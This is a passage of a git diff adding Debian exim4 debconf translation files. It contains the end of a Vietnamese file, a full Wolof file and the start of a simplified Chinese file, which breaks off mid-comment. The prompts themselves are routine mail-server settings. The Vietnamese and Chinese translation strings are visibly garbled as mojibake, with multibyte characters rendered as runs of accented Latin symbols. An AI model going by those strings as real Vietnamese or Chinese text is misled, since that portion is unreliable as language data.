"Ẩn tên thÆ° cục bá»™ trong má»i thÆ° được gá»i Ä‘i không?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Những dòng đầu cua thÆ° được gá»i Ä‘i cÅ©ng có thể được ghi lại để có vẻ nó được " +"tạo ra trên hệ thống khác. Báºt tùy chá»n nà y thì các giá trị « ${mailname} », " +"« localhost » và « ${dc_other_hostnames} » trên dòng đầu « Từ » (From), « " +"Trả lá»i cho » (Reply-To), « NgÆ°á»i gá»i » (Sender) và « ÄÆ°á»ng dẫn trở vá» " +"» (Return-Path) sẽ được ghi lại." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "định dạng mbox trong « /var/mail/ »" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "định dạng Maildir trong thÆ° mục gốc" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "PhÆ°Æ¡ng pháp phát thÆ° cục bá»™ :" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim có khả năng cất giữ các thÆ° được phát cục bá»™ trong các định dạng khác " +"nhau. Những định dạng thÆ°á»ng dùng nhất là « mbox » và « Maildir ». mbox dùng " +"má»™t táºp tin riêng lẻ cho toà n bá»™ thÆ° mục thÆ° được cất giữ trong « /var/mail/ " +"». Còn trong định dạng Maildir, má»—i thÆ° riêng được cất giữ trong má»™t táºp tin " +"riêng trong « ~/Maildir/ »." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Ghi chú rằng phần lá»›n công cụ thÆ° tÃn trong Debian ngá» phÆ°Æ¡ng pháp phát thÆ° " +"cục bá»™ là mbox theo mặc định." diff --git a/debian/po/wo.po b/debian/po/wo.po new file mode 100644 index 0000000..f1defe9 --- /dev/null +++ b/debian/po/wo.po @@ -0,0 +1,652 @@ +# translation of wo.po to Wolof +# This file is distributed under the same license as the PACKAGE package. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER. +# +# Mouhamadou Mamoune Mbacke <mouhamadoumamoune@gmail.com>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: wo\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-19 01:10+0200\n" +"Last-Translator: Mouhamadou Mamoune Mbacke <mouhamadoumamoune@gmail.com>\n" +"Language-Team: Wolof\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ndax nu dindi bataaxal yiñu jebbalewul yi ne ci gakku spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Amna ay bataaxal yu ne ci kaggu spool bu exim /var/spool/exim4/ input/ ta " +"jebbaleeguñu leen. Boo dindée Exim kon kenn du leen manatee jébbalé fii ak " +"ngay istalewaat Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Buf fekkee tannóo lii, kon deesna fi bayyi kaggu bu spool. Loolu dana tax " +"bañu mana jébbalé bataaxal yi nekk ci sappe si, ginnaaw buñu istalewaatee " +"Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Komfigurewaat exim4-config ta bayye bii paket" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 jëlnañu komfiguraasioÅ‹am jagleelko ab paketu boppam muy exim4-config. " +"Saa yoo bëggée komfigurewaat Exim4, jëfandikool 'dpkg-reconfigure exim4-" +"config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "sit internet; bataaxal deesleen di yónée di leen jot ak SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"bataaxal bi smarthost moo koy yónée; deesnako jot ak SMTP walla fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "bataaxal yi smarthost moo koy yónée; bataaxal lokaal du am" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "jébbale lokaal rekk; nekkul ci ab resóo" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "komfigraasioÅ‹ du am leegi" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "KomfiguraasioÅ‹ bu xeetu bataaxal wi gëna yaatu:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Tannal xeetu komfiguraasioÅ‹ bu serwóor bu mail bi gëna dëppóo ak say soxla." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistem yi am adrees IP dinaamik, mel ne sistemu dialup yi, deesleen di wara " +"komfigure ñuy yónnée seen bataaxal yiy génn jaaraleko ci baneen masin, buñuy " +"tudde 'smarthost' ngir mu jebbale leen, ndaxte sistem yu bare ci yiy jot " +"bataaxal yi ci internet, dañuy boloke bataaxal yiy juge ci adrees IP " +"dinaamik, ngir aar seen boppu ci spam yi." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Sistem bu ame adrees IP dinaamik dana man di jot ay bataaxal yu boppam, " +"maneesna yit baña naÅ‹gu bataaxal lokaal yi (bamu des yu jëm ci root ak " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ndax wóorna nu bayyi sistemu bataaxal (mail) bañkoo komfigure?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Fii ak ngay komfigure sa sistemu mail bi, dafay doon lu dammu ta deesu ko " +"mana jëfandikoo. Du tee nak nga man koo komfigure ginnaaw bi, benn ak sa " +"loxo walla nga doxal 'dpkg-reconfigure exime4-config' gannaaw boo doonee " +"root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Turu sistemu mail bi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'mail name' mooy turu domen biñuy jëfandikoo ngir 'qualifier', maanaa melal " +"ay adrees yu mail ta du and ak turu domen bi." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Tur wi yaneen prograam yitam danañukoy jëfandikoo, mingi wara doon turu " +"domen wu mat, fully qualified domain name (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ci misaal, bu ab adreesu mail bu nekk ci sa masin bi doonee foo@example.org, " +"kon li ngay wara bind fii mooy example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Tur wii du feeñ ci bind wu From: ci bataaxal yiy génn bu fekkee yaangi doxal " +"rewriting." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Yaneen jamukaay yiñuy naÅ‹gu bataaxal difa dem:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Joxeel fii ab list boo teqale ak ay (;) bu domen yi nga xam ne bii masin " +"dana jappu ne man naa doon jamukaayu seeni bataaxal. Yooyu domen ñi ngi leen " +"di tudde 'domen lokaal'. Turu masin bi (${fqdn}) ak 'localhost' deesleen di " +"dolli ci list bii ñuy joxe fii." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Bu waxeesul dara kon mbooleem domen yi lañiy yamale ñuñuy jëflëntée ak ñoom. " +"Bbu fekkee a.examploe ay b.example ay dome lokaal lañu, kon acc@a.example ak " +"acc@b.example ñooy bokk fuñu leeen di yóbbu. bëgée yenn domen yi ñuy " +"jëflënte ak ñoom nu bokkul ak ni ñuy jëflënte ak yaneen yi, kon boo noppee " +"dangay soppi fiise bu config bi." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Doen yiñuy jallale seeni bataaxal:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Joxeel fii ab list buñu teqale ak (;) bu domen yinga xam ne sistem bii danay " +"jottuli bataaxal yi jëm ci ñoom, ci misaal bu seen dellukaay bu MX walla " +"mail gateway. Loolu mooy firi ne sistem bii dana naÅ‹goo jël béppu bataaxal " +"bu jëm ci ñoom ak fumu mana juge ci internet, buko defee mu jébbalé léen " +"niko reegal yu jébbalé yi waxe." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Bul tudd fii nak domen lokaal yi. Wildcards maneesna leena jëfandikoo." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Masin yiñuy jallale seeni bataaxal:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Bindal fii ab list buñu teqale ak ay (;) bu def ab diggante (intervalle) bu " +"adrees IP yi masin bii di jallale seen mail ci ludul mu ciy tek benn sart, " +"doon seen smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Dangaa wara jëfandikoo formaat està ndaar bu adress/prefix (ci misaal: " +"194.222.242.0/24 walla 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Bu fekkee sistem bii du doon smarthost bu benn masin, kon bul bind fii dara." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Turu domen yi jëfandikukat lokaal yi di mana gis:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Tanneesna ne ñu laq turu mail lokaal bi ci bataaxal yiy génn. Kon nak fawwu " +"nga joxe fii turu domen binga xam ne moo war di feeñ ci adrees yu sender, " +"maanaa kiy yónnée bataaxal bi." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Adrees IP walla turu masin bu smarthost biy génn:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Joxeel fii adrees IP walla turu masin bu ab serwóor mail bu sistem biy doon " +"smarthost bu bataaxal yiy génné ci sistem bii. Bu fekkee smarthost mingiy " +"naÅ‹goo jël say bataaxal yiy jaar ci poor bu bokkul ak TCP/25, kon yokkal ci " +"adrees IP bi (::) ak numero bu poor bi. (Ci misaal smarthost.example::587 " +"walla 192.168.254.254::2525). Ñaari tombu (:) yiy nekk ci adrees IPv- " +"deeleen di duble." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Bu fekkee sparthost dafay laaj settantal jëmmu (authentication), kon dellul " +"ca fiise README biñu jagleel Debian ci /usr/share/doc/exim4-base ngir am ay " +"leeral ci reglaas yu setteantalu jëmmu (authentification) ak SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Kiy jot bataaxal yu root ak yu postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Bataaxal yu 'postmaster', 'root', ak yaneen kontu yu sistem bi dañuy soxla " +"ñu jallale léen ci ab kontu bu jëfandikukat bi nga xam ne mooy saytu sistem " +"bi." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Bu fekkee fii bindoo fi dara, kon bataaxal yu deme nooni kon deesna leen " +"deñc ci /var/mail/mail, ta loolu deÅ‹kaanewuñu kuko def." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Xamal ne bataaxal yu postmaster deesleena war di jaÅ‹g ci sistem yiñu leen di " +"jallale, waaye deesuleen jallalewaat ci baneen masin, moo tax kenn ci " +"jëfandikukat yi nga tannoon warul di jallale ay bataaxalam ci baneen masin. " +"Man ngaa jëfandikoo prefiks 'real-' ngir forse ab jebbale lokaal." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Turu jëfandikukat yu bare dees leena wara teqale leen ak ay espaas." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Adrees IP yi ñuy diglu ngir koneksioÅ‹ SMTP yiy duggsi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Joxeel fii ab list bu adrees IP yuñu teqale ak (;). Daemon bu Exim biy diglu " +"SMTP dana diglu ci mbooleem adrees IP yi nekk ci list bii." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Boo bindul fii dara, kon Exim dana diglu koneksioÅ‹ yiy nekk ci mbooleem " +"interfaas resóo yi fi nekk." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Bu fekkee bii kompiyutar du jot directement email yudul yu juge ci sarwiis " +"lokaal yi (du jot lu joge ci yaneeni masin), kon dangaa wara tere koneksioÅ‹ " +"yu juge ci bitti jëm ci Exim deamon. sarwiis yooyu ñooy yu deme ne " +"prograamu email (MUA) yiy wax ak localhost rekk, walla fetchmail. Jokkoo bu " +"juge ci biiti dooul mana am bu fekkee bindnga fii 127.0.0.1. booko defee " +"dóotóo jappundil diglu ci interfaas resóo piblik yi." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ndax nu bayyi lumu sakku DNS mu néew (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Ci doxaliin wu normaal, Exim dana xool DNS ci buy tambule, buy jot walla muy " +"joxe ay bataaxal. Loolu nak njariñam mooy log rekk, ak yit dana tax ba limub " +"fiise komfiguraasioÅ‹ yu walóor yi ñi kode (hard-coded values) di doon lu " +"tuuti." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Bu lii doonee ab masin bu manul di aksi saa sune ci serwóor turu domen DNS " +"(ci misaal budee jokkoo ak internet ci ab liiñ dial-up buy jëfandikoo dial-" +"on-demand), kon man naa am luci judóo loo bëggul. Ci misaal: saa yoo " +"tambulee exim walla ngay doxal sappe si (queue) (doonte sax benn betaaxal " +"nekkul di xaar), loolu di and ab xewxewu kompoose (dial-up) bu seer." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Lii warnga koo tann bu fekkee sistem bii dafay jëfandikoo Dial-on-Demand. Bu " +"fekkee saa sune mingi jokkoo ak internet, kon waróo koo tann." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "KomfiguraasioÅ‹ Serwór Mail" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Ndax ñu xajjale komfiguraasioÅ‹ bi ci ay fiise yu tuuti?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Paket yu exim4 bu Debian man naa jëfandikoo 'unplit configuration', maana " +"benn fiise komfiguraasioÅ‹ (/etc/exim4/exim4.conf.template), man na yit " +"jëfandikoo 'split configuration', nga xam ne fiise komfiguraasioÅ‹ bi deeskay " +"séddëlé lu jege 50 fiise yu ndaw yuñuy def ci /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Bu jëkk bi (\"unsplit configuration\")moo gëna dëppo ak di def ay " +"modifikaasioÅ‹ yu mag, ta yit moo gëna estaable. Bu ñaareel bi nak (\"split " +"configuration\"), dana yombal def ay modifikaasioÅ‹ yu ndaw, waaye mooy gëna " +"néew doole, ta buñu ko soppee ci lu andul ak ak teey, kon man naa dammu." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Ngir am yaneen faramfacce ci split ak unsplit configuration, man ngaa xool " +"Fiise README yiñu jagleel Debian yi ne ci /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ndax nu laq turu mail bi ci bataaxal yiy génn?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Boppu bataaxal yiy génn maneesna leena bindaat ngir ñu mel ne ci baneen " +"sistem lañu juge. Bu fekkee tann nga loolu, kon '${mailname}', 'localhost' " +"ak '${dc_other_hostnames}' yi nekk ci From, Reply-To, Sender ak Return-Path " +"deesleen di bindaat (soppi leen)." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "formaat bu mbox bi ci /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formaat bu Maildir bi ci kaggu wu home" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Metoodu jébbaliin wu bbataaxal lokaal yi:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim man na di deñc email lokaal yi ci ay formaat yu bare. Yi ci ëppu luñu " +"leen di jëfandikoo ñooy mbox ak Maildir. mbox dafay dafay jël benn fiise, " +"deñc ci kaggu wi yor mbooleem bataaxal yi ne ci /var/mail. Formaat bu " +"Maildir nak mooy bataaxal bu ne dafay am ab fiise bu boppam buñuy deñc ci " +"kaggu ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Na nga bayyi xel ne li ëppu ci jumtukaay yu email yu Debian, ci seen " +"komfiguraasioÅ‹ bu defóo dañuy jappu ne metood bu jébbale email lokaal yi " +"moodi mbox." + +#~ msgid "Overwrite existing /etc/aliases?" +#~ msgstr "Ndax ñu bind ci kay /etc/aliases yi fi nekk?" + +#~ msgid "" +#~ "An /etc/aliases file was found on the system, but it does not redirect " +#~ "mail for root to a user account, which is strongly recommended." +#~ msgstr "" +#~ "Gisnañu fii ab fiise bu /etc/aliases, waaye du jallale bataaxal yu root " +#~ "ci ab koontu bu jëfandikukat, ta loolu doon luñuy deÅ‹kaane bubaax ku ko " +#~ "def." + +#~ msgid "" +#~ "Accepting this option will cause /etc/aliases to be overwritten, and the " +#~ "old file will be renamed to aliases.O." +#~ msgstr "" +#~ "Boo naÅ‹goo tann lii kon fiise bu /etc/aliases deesna bind ci kawam, buko " +#~ "defee fiise bu jëkk ba dañukoy tudde aliases.O." diff --git a/debian/po/zh_CN.po b/debian/po/zh_CN.po new file mode 100644 index 0000000..7280074 --- /dev/null +++ b/debian/po/zh_CN.po @@ -0,0 +1,602 @@ +# debconf templates for exim4 package, simplified Chinese translation. +# +# Copyrights: Carlos Z.F. Liu <carlos_liu@yahoo.com>, 2004. +# Ming Hua <minghua@rice.edu>, 2006,2007. +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4 4.67-1+SVN\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-12 00:36-0500\n" +"Last-Translator: Ming Hua <minghua@rice.edu>\n" +"Language-Team: Debian Chinese [GB] <debian-chinese-gb@lists.debian.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "åˆ é™¤ç¼“å†²ç›®å½•ä¸æœªæŠ•é€’的信件å—?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"有些å˜æ”¾åœ¨ Exim 的缓冲目录 /var/spool/exim4/input/ ä¸çš„ e-mail 信件尚未被投" +"递。如果您å¸è½½ Exim,则直至 Exim 被é‡æ–°å®‰è£…为æ¢ï¼Œå®ƒä»¬å°†ä¸€ç›´ä¿æŒæœªè¢«æŠ•é€’的状" +"æ€ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"如果ä¸åšè¿™ä¸€é€‰æ‹©ï¼Œç¼“冲目录将被ä¿ç•™ï¼Œè¿™æ ·æ—¥åŽé‡æ–°å®‰è£… Exim åŽï¼Œè¿™äº›çŽ°åœ¨ä»åœ¨é˜Ÿ" +"列ä¸çš„信件将å¯è¢«æŠ•é€’。" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "é‡æ–°é…ç½® exim4-config 而éžæœ¬è½¯ä»¶åŒ…" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 的设置被分出æ¥æ”¾åˆ°äº†ä¸“用软件包 exim4-config ä¸ã€‚è¦é‡æ–°è®¾ç½® Exim4,请使" +"用“dpkg-reconfigure exim4-configâ€ã€‚" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "互è”网站;直接通过 SMTP å‘é€æˆ–接收信件" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. 